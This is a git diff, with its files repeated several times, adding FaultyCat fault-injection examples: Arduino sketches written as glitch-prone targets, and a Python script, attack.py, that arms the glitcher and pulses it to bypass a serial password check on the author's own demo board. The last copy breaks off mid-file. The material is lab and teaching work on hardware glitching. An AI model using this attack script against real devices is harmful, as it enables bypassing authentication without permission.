diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + 